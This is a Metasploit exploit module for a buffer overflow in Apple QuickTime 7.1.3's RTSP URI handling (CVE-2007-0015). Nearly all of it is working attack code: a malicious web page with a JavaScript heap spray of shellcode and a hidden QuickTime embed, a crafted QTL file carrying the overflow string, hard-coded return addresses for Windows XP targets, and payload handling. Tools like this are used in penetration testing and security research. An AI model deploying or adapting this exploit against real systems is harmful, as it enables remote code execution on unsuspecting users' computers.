##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  # include Msf::Exploit::Remote::BrowserAutopwn
  # autopwn_info({
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  # No particular browser.  Works on at least IE6 and Firefox 1.5.0.3
  #  :javascript => true,
  #  :rank       => NormalRanking, # reliable memory corruption
  #  :vuln_test  => nil,
  # })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apple QuickTime 7.1.3 RTSP URI Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Apple QuickTime
          7.1.3. This module was inspired by MOAB-01-01-2007.  The
          Browser target for this module was tested against IE 6 and
          Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the
          QuickTime plugin.
        },
        'Author' => [ 'MC', 'egypt' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2007-0015' ],
          [ 'OSVDB', '31023'],
          [ 'BID', '21829' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 500,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ],
          [
            'Apple QuickTime Player 7.1.3',
            {
              'Ret' => 0x6855d8a2 # xpsp2/2k3 :( | vista ;)
            }
          ],
          [
            'Browser Universal',
            {
              'Ret' => 0x0c0c0c0c # tested on xpsp0 and sp2
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2007-01-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(client, request)
    return if ((p = regenerate_payload(client)) == nil)

    if (target.name =~ /Automatic/)
      if (request['User-Agent'] =~ /QuickTime/i)
        target = targets[1]
      else
        target = targets[2]
      end
    end

    cruft = rand_text_alphanumeric(4)
    # This is all basically filler on the browser target because we can't
    # expect the SEH to be in a reliable place across multiple browsers.
    # Heap spray ftw.
    sploit = rand_text_english(307)
    sploit << p.encoded + "\xeb\x06" + rand_text_english(2)
    sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV')

    if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.qtl$/)
      print_status("Sending exploit QTL file (target: #{target.name})")
      content = build_qtl(sploit)
    else
      print_status("Sending init HTML")

      shellcode = Rex::Text.to_unescape(p.encoded)
      url = get_uri(client)
      js = <<-ENDJS
          #{js_heap_spray}
          sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000);
      ENDJS
      content = "<html><body><script><!--\n#{js}//--></script>"
      content << <<-ENDEMBED
          <OBJECT
          CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
          WIDTH="1"
          HEIGHT="1"
          CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
          <PARAM name="SRC"        VALUE = "#{url}/#{cruft}.qtl">
          <PARAM name="QTSRC"      VALUE = "#{url}/#{cruft}.qtl">
          <PARAM name="AUTOPLAY"   VALUE = "true"               >
          <PARAM name="TYPE"       VALUE = "video/quicktime"    >
          <PARAM name="TARGET"     VALUE = "myself"             >
          <EMBED
            SRC        = "#{url}/#{cruft}.qtl"
            QTSRC      = "#{url}/#{cruft}.qtl"
            TARGET     = "myself"
            WIDTH      = "1"
            HEIGHT     = "1"
            AUTOPLAY   = "true"
            PLUGIN     = "quicktimeplugin"
            TYPE       = "video/quicktime"
            CACHE      = "false"
            PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
          </EMBED>
          </OBJECT>
      ENDEMBED
      content << "</body></html>"
    end

    send_response(client, content, { 'Content-Type' => "text/html" })

    # Handle the payload
    handler(client)
  end

  def build_qtl(overflow)
    cruft = rand_text_english(4)

    content = "<?xml version=\"1.0\"?>\n"
    content << "<?quicktime type=\"application/x-quicktime-media-link\"?>\n"
    content << "<embed autoplay=\"true\" \n"
    content << "moviename=\"#{cruft}\" \n"
    content << "qtnext=\"#{cruft}\" \n"
    content << "type=\"video/quicktime\" \n"
    content << "src=\"rtsp://#{cruft}:#{overflow}\" />\n"
  end
end
